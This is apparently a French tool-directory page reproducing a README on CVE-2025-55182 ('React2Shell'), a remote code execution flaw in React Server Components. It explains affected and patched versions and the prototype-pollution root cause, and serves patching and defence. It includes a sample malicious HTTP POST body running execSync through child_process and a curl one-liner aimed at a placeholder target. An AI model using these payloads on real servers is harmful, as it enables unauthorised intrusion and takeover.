Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182 — "Une seule requête HTTP malveillante peut compromettre l'ensemble de votre serveur." — React Security Team, Dec 2025 | Kitploit
Outils/GitHubGitHub/logesh-git001/cve-2025-55182
Analyse des VulnérabilitésExploitationExploitation d'Applications WebRenseignement sur les MenacesApprentissage et ÉducationRéponse aux Incidents
GitHublogesh-git001/cve-2025-55182

CVE-2025-55182

"Une seule requête HTTP malveillante peut compromettre l'ensemble de votre serveur." — React Security Team, Dec 2025

Voir le dépôt
210il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182 — React2Shell

Exécution de code à distance critique dans React Server Components.

Sévérité : CRITIQUE | CVSS v3.1 : 10.0 (Maximum) | Statut : Activement exploité


Qu'est-ce que c'est ?

React2Shell est une vulnérabilité de sécurité critique dans React Server Components (RSC) — une fonctionnalité moderne qui permet à React d'exécuter certaines parties de votre application web sur le serveur au lieu du navigateur.

La faille permet à n'importe quel attaquant sur Internet — sans aucune connexion, aucun accès spécial et aucune connaissance préalable de votre système — d'envoyer une seule requête HTTP malveillante à votre serveur et d'exécuter n'importe quel code qu'il souhaite. Cela signifie qu'il peut voler des données, installer des malwares, verrouiller vos fichiers avec un rançongiciel ou prendre le contrôle total de votre serveur.

Pensez-y comme ceci : votre serveur a une porte qui était censée ne s'ouvrir que pour les visiteurs de confiance, mais il s'avère que n'importe qui peut entrer — juste en frappant d'une manière spécifique.


Référence rapide

PropriétéValeur
Identifiant CVECVE-2025-55182 (également appelé React2Shell)
SévéritéCritique — Exécution de code à distance (RCE)
Score CVSS v3.110.0 / 10.0 (maximum possible)
Score CVSS v49.3 / 10.0
Type de faiblesseCWE-502 — Désérialisation de données non fiables
Méthode d'attaqueRequête HTTP POST unique, aucune authentification requise
Découvert parLachlan Davidson (chercheur en sécurité)
Divulgué3 décembre 2025
Statut de l'exploitExploit public disponible — activement utilisé par les attaquants
CVE associéCVE-2025-66478 (Next.js — doublon confirmé)

Qui est concerné ?

Versions React vulnérables```

react-server-dom-webpack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-parcel — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-turbopack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0

### Frameworks concernés

| Framework / Outil           | Portée concernée                                     |
|----------------------------|----------------------------------------------------|
| **Next.js 15.x – 16.x**    | App Router uniquement — Pages Router n'est **PAS** concerné |
| **React Router RSC**       | Canal instable / de prévisualisation uniquement                    |
| **Redwood SDK**            | Mode RSC uniquement                                      |
| **Waku**                   | Toutes les versions avec RSC activé                      |
| **Expo**                   | Builds de prévisualisation RSC uniquement                            |
| **Vite RSC Plugin**        | Toutes les intégrations                                   |
| **Parcel RSC Plugin**      | Toutes les intégrations                                   |
| **Toute configuration RSC personnalisée**   | Tout serveur utilisant la désérialisation Flight RSC        |

> ⚠️ **Important :** Vous êtes vulnérable même si vous n'utilisez pas explicitement les Server Actions ou les Server Functions — tant que les composants serveur React sont activés dans votre application.

> ✅ **Non concerné :** Applications utilisant uniquement le Pages Router, ou applications sans React côté serveur du tout.

---

## Pourquoi est-ce si dangereux ?

Trois raisons rendent React2Shell exceptionnellement grave :

1. **Aucune authentification requise.** N'importe qui sur internet peut tenter cette attaque. Pas de compte, pas de jeton, aucun accès préalable nécessaire.

2. **Fonctionne sur les installations par défaut.** Une toute nouvelle application Next.js créée avec `create-next-app` — sans aucune configuration personnalisée — est immédiatement exploitable. Les développeurs n'ont rien à faire de mal pour être vulnérables.

3. **Fiabilité proche de 100 %.** Les chercheurs en sécurité ont confirmé que l'exploit fonctionne presque à chaque fois contre les serveurs non patchés.

---

## Comment fonctionne l'attaque ?

### La cause profonde — En termes simples

Lorsque votre serveur React reçoit des données d'un client, il les traite (désérialise) pour comprendre quoi faire ensuite. Le problème est que React **ne vérifie jamais si ces données sont sûres ou légitimes** — il fait aveuglément confiance à tout ce qui arrive.

Un attaquant exploite cela en envoyant des données spécialement conçues qui détournent le comportement JavaScript interne du serveur, lui permettant finalement d'injecter et d'exécuter son propre code.

### Explication technique

L'exploit utilise une technique appelée **pollution de prototype** :

1. L'attaquant envoie une requête HTTP POST élaborée à n'importe quel point de terminaison RSC (aucune URL spéciale nécessaire).
2. Le parseur du protocole React Flight traite la charge utile sans aucune validation structurelle.
3. La charge utile malveillante pollue `Object.prototype.then` — un objet JavaScript fondamental dont tous les autres objets héritent.
4. Cela donne à l'attaquant accès au constructeur `Function` de JavaScript.
5. L'attaquant utilise le constructeur `Function` pour exécuter du code arbitraire en tant que processus du serveur Node.js.```
Step 1 — Attacker sends crafted HTTP POST
         ↓
Step 2 — React deserializes payload blindly
         ↓
Step 3 — Object.prototype.then is hijacked (prototype pollution)
         ↓
Step 4 — Function constructor is accessed
         ↓
Step 5 — Attacker's code runs on the server
         ↓
Step 6 — Attacker has full server control

Illustration simplifiée du code```js

// This is a simplified version of the vulnerable code path inside React function parseFlightRequest(req) { const flight = req.body;

// ❌ NO validation — the server trusts whatever arrives
const decoded = dangerousDeserialize(flight);  // Attack happens here

// If the attacker controls decoded.action → RCE
return executeServerReference(decoded.action);

}

### À quoi ressemble l'attaque```http
POST /?flight=1 HTTP/1.1
Content-Type: text/plain

{
  "status": "resolved_model",
  "$1:__proto__:then": "node:process.mainModule.require('child_process').execSync('id > /tmp/rce')",
  "_formData.get": "$1:constructor:constructor"
}

ENTRÉE:```bash

Simplified cURL version of the exploit

curl -X POST https://target.com/react?flight=1
-H "Content-Type: text/plain"
--data '["$ACTION_REF","proto","constructor","<attacker_payload>"]'

> 🚫 **Avertissement légal :** N'utilisez pas cet outil contre un système dont vous n'êtes pas propriétaire ou pour lequel vous ne possédez pas une autorisation écrite explicite de test.

---

## Versions corrigées — Mettez à jour maintenant

### Paquets React RSC

| Paquet                      | Version corrigée             |
|------------------------------|------------------------------|
| `react-server-dom-webpack`   | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-parcel`    | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-turbopack` | 19.0.1, 19.1.2, **19.2.1+** |

> 💡 **Recommandation :** Mettez à jour vers la version **19.2.3** pour également corriger les vulnérabilités connexes (CVE-2025-55183, CVE-2025-55184, CVE-2025-67779).

### Next.js

| Votre version | Mettez à jour vers  |
|--------------|-------------|
| 13.x / 14.x  | **14.2.35** |
| 15.0.x       | **15.0.5**  |
| 15.1.x       | **15.1.9**  |
| 15.2.x       | **15.2.6**  |
| 15.3.x       | **15.3.6**  |
| 15.4.x       | **15.4.8**  |
| 15.5.x       | **15.5.7**  |
| 16.0.x       | **16.0.7**  |

---

## Comment vous protéger — Étape par étape
Télécharger l’outil